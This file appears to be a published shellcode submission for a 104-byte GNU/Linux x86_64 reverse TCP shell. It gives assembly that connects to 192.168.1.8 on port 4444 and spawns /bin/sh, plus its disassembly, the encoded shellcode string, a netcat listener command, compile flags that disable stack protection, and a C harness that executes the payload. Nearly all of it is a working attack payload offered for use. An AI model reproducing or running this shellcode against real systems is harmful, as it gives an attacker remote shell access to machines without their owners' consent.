/*
;Category: Shellcode
;Title: GNU/Linux x86_64 - Reverse Shell Shellcode
;Author: m4n3dw0lf
;Github: https://github.com/m4n3dw0lf
;Date: 18/07/2017
;Architecture: Linux x86_64
;Tested on: #1 SMP Debian 4.9.18-1 (2017-03-30) x86_64 GNU/Linux
 
##########
# Source #
##########
 
section .text
  global _start
    _start:
        push rbp
        mov rbp,rsp
        xor rdx, rdx
        push 1
        pop rsi
        push 2
        pop rdi
        push 41
        pop rax ; sys_socket
        syscall
        sub rsp, 8
        mov dword [rsp], 0x5c110002 ; Port 4444, 4Bytes: 0xPORT + Fill with '0's + 2
        mov dword [rsp+4], 0x801a8c0 ; IP Address 192.168.1.8, 4Bytes: 0xIPAddress (Little Endiannes)
        lea rsi, [rsp]
        add rsp, 8
        pop rbx
        xor rbx, rbx
        push 16
        pop rdx
        push 3
        pop rdi
        push 42
        pop rax; sys_connect
        syscall
        xor rsi, rsi
    shell_loop:
        mov al, 33
        syscall
        inc rsi
        cmp rsi, 2
        jle shell_loop
        xor rax, rax
        xor rsi, rsi
        mov rdi, 0x68732f6e69622f2f
        push rsi
        push rdi
        mov rdi, rsp
        xor rdx, rdx
        mov al, 59
        syscall
 
#################################
# Compile and execute with NASM #
#################################
 
nasm -f elf64 reverse_tcp_shell.s -o reverse_tcp_shell.o
ld reverse_tcp_shell.o -o reverse_tcp_shell
 
#########################
# objdump --disassemble #
#########################
 
reverse_tcp_shell:     file format elf64-x86-64
 
 
Disassembly of section .text:
 
0000000000400080 <_start>:
  400080:   55                      push   %rbp
  400081:   48 89 e5                mov    %rsp,%rbp
  400084:   48 31 d2                xor    %rdx,%rdx
  400087:   6a 01                   pushq  $0x1
  400089:   5e                      pop    %rsi
  40008a:   6a 02                   pushq  $0x2
  40008c:   5f                      pop    %rdi
  40008d:   6a 29                   pushq  $0x29
  40008f:   58                      pop    %rax
  400090:   0f 05                   syscall 
  400092:   48 83 ec 08             sub    $0x8,%rsp
  400096:   c7 04 24 02 00 11 5c    movl   $0x5c110002,(%rsp)
  40009d:   c7 44 24 04 c0 a8 01    movl   $0x801a8c0,0x4(%rsp)
  4000a4:   08 
  4000a5:   48 8d 34 24             lea    (%rsp),%rsi
  4000a9:   48 83 c4 08             add    $0x8,%rsp
  4000ad:   5b                      pop    %rbx
  4000ae:   48 31 db                xor    %rbx,%rbx
  4000b1:   6a 10                   pushq  $0x10
  4000b3:   5a                      pop    %rdx
  4000b4:   6a 03                   pushq  $0x3
  4000b6:   5f                      pop    %rdi
  4000b7:   6a 2a                   pushq  $0x2a
  4000b9:   58                      pop    %rax
  4000ba:   0f 05                   syscall 
  4000bc:   48 31 f6                xor    %rsi,%rsi
 
00000000004000bf <shell_loop>:
  4000bf:   b0 21                   mov    $0x21,%al
  4000c1:   0f 05                   syscall 
  4000c3:   48 ff c6                inc    %rsi
  4000c6:   48 83 fe 02             cmp    $0x2,%rsi
  4000ca:   7e f3                   jle    4000bf <shell_loop>
  4000cc:   48 31 c0                xor    %rax,%rax
  4000cf:   48 31 f6                xor    %rsi,%rsi
  4000d2:   48 bf 2f 2f 62 69 6e    movabs $0x68732f6e69622f2f,%rdi
  4000d9:   2f 73 68 
  4000dc:   56                      push   %rsi
  4000dd:   57                      push   %rdi
  4000de:   48 89 e7                mov    %rsp,%rdi
  4000e1:   48 31 d2                xor    %rdx,%rdx
  4000e4:   b0 3b                   mov    $0x3b,%al
  4000e6:   0f 05                   syscall 
 
 
#######################
# 104 Bytes Shellcode #
#######################
 
for i in `objdump -d reverse_tcp_shell | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done
 
\x55\x48\x89\xe5\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58\x0f\x05\x48\x83\xec\x08\xc7\x04\x24\x02\x00\x11\x5c\xc7\x44\x24\x04\xc0\xa8\x01\x08\x48\x8d\x34\x24\x48\x83\xc4\x08\x5b\x48\x31\xdb\x6a\x10\x5a\x6a\x03\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\xb0\x21\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\x7e\xf3\x48\x31\xc0\x48\x31\xf6\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05
 
########
# Test #
########
 
In the asm source:
  mov dword [rsp+4], 0x801a8c0 <IP Address (Little Endian) of the host that will receive the shell>
 
In the host that will receive the shell run:
  nc -vvlp 4444
 
On the target machine:
   compile with:
     gcc -fno-stack-protector -z execstack reverse_tcp_shell.c -o reverse_tcp_shell
   run:
     ./reverse_tcp_shell
 
 
 <!> gcc -fno-stack-protector -z execstack reverse_tcp_shell.c -o reverse_tcp_shell
*/
 
#include <stdio.h>
 
unsigned char shellcode[] = "\x55\x48\x89\xe5\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58\x0f\x05\x48\x83\xec\x08\xc7\x04\x24\x02\x00\x11\x5c\xc7\x44\x24\x04\xc0\xa8\x01\x08\x48\x8d\x34\x24\x48\x83\xc4\x08\x5b\x48\x31\xdb\x6a\x10\x5a\x6a\x03\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\xb0\x21\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\x7e\xf3\x48\x31\xc0\x48\x31\xf6\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05";
main()
{
    int (*ret)() = (int(*)())shellcode;
    ret();
}